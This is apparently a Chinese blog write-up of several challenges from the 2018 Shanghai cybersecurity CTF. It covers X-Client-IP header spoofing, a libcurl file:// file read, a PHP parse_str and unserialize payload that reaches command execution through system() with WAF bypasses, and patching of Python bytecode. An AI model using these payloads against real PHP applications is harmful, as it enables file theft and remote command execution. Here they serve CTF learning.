2018第四届上海网络安全大赛的几道题

非常的痛心,我是真的菜,比赛结束以后观看了大佬的wp,把其中几道web题和杂项题复现一下

Misc - 签到

MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q

Base32 解码

Flag:flag{35222d30-439e-4afb-91f4-abebc73fe05c}

这道是我唯一解出来的题,真的是菜


web1-what are you doing

打开题目提示访问 robots.txt

两个文件,一个 source.php ,一个 flag.php

打开 source.php,提示POST admin

POSTadmin=1

only 127.0.0.1 can get the flag!

没有找到 SSRF 的地方,应该就是改 Headers 头了

X-Forwarded-For/X-Client-IP/X-Real-IP三个都试了一下,发现认的是X-Client-IP

带 HeaderX-Client-IP=127.0.0.1,提示

you need post url:http://www.ichunqiu.com"

做到这里我就不会做了,当时直接post  http://www.ichunqiu.com,并没有什么东西,

比赛结束以后,看到这篇博客

https://blog.csdn.net/qq_33020901/article/details/78871240

才知道怎么做

这里应该就是php中libcurl中存在的问题,利用file协议可以任意文件读取,

所以最后构造url=file://www.ichunqiu.com/../var/www/html/flag.php提交就可以获得flag



Web2 - can you  hack  me 

做不出来的题都让我痛心,猜是源码泄露,自己手动尝试了好多,也没找到源码,下次一定要准备一个靠谱的源码泄露的目录扫描工具.......................

源码泄露是一个vim备份(以前从来不知道),就是index.php.swp



源码如上,看到come类和类内system函数,猜测应该会有反序列化漏洞导致命令执行,

主程序先检查四个变量是否为特定的变量。

$first可以直接从$_GET中定义为doller通过第一个检查

然后可以看到parse_str函数,没有传第二个参数,因此会污染变量域,所以我们剩下的三个变量都可以通过他来写入

/?first=doller&a=var=give%26bbb=me%26ccc=flag

接下来是反序列化,在__wakeup的时候会将参数过一遍waf,然后flag可以通过双写来绕过字符串替换,空格用${IPS}然过

生成代码如下:

$foo=newcome("echo",array("`cat\${IFS}/flaflagg`"));

var_dump(serialize($foo));

序列化

O:4:"come":2:{s:12:"comemethod";s:4:"echo";s:10:"comeargs";a:1:{i:0;s:20:"`cat${IFS}/flaflagg`";}}

come=O:4:"come":2:{s:12:" come method";s:4:"echo";s:10:" come args";a:1:{i:0;s:20:"`cat${IFS}/fflaglag`";}}

得到flag



Misc - easy_py

这是一个我做了很久,思路清晰,但因为最关键的步骤不会操作导致解不出来的题,也算是这次比赛收获最大的知识点

刚开始运行了一下,发现应该是python2下的,准备反编译,用uncompyle反编译不成功,百度了一下(大佬的wp里写用uncompyle2 反编译easy_py.pyc会报错tuple index out of range,我当时没注意,又重新反编译了一下,还真TM有,我真是个垃圾,,,以后一定要仔细看报错,)

https://blog.csdn.net/ncafei/article/details/60466080

这篇博客讲到一点反编译的方法,尝试一下也没有成功,最后搜索到可能是因为pyc里加了一些多余的数据,导致不能反编译

所以最关键的是对pyc的cpython字节码分析,找出那段,比赛时找到一篇博客

https://ctf-wiki.github.io/ctf-wiki/misc/other/pyc/

已经下载了pycdc工具,奈何我不会用,最后停在这里

(大佬是这么干的,他根据上面的报错推断应该是 const 元组越界了,找到pythonopcode对照,将easy_py.pyc文件里的16进制2333改为0000),然后我看到另一个大佬利用pycdc反汇编分析以后的结果,




wp图片先放在这里,,反汇编分析对照代码

https://docs.python.org/2.7/library/dis.html#python-bytecode-instructions   参考这里

至于怎么分析,等我晚上学一下pycdc,明天重新复现一下这道题,再把我的操作写一下

你可能感兴趣的:(2018第四届上海网络安全大赛的几道题)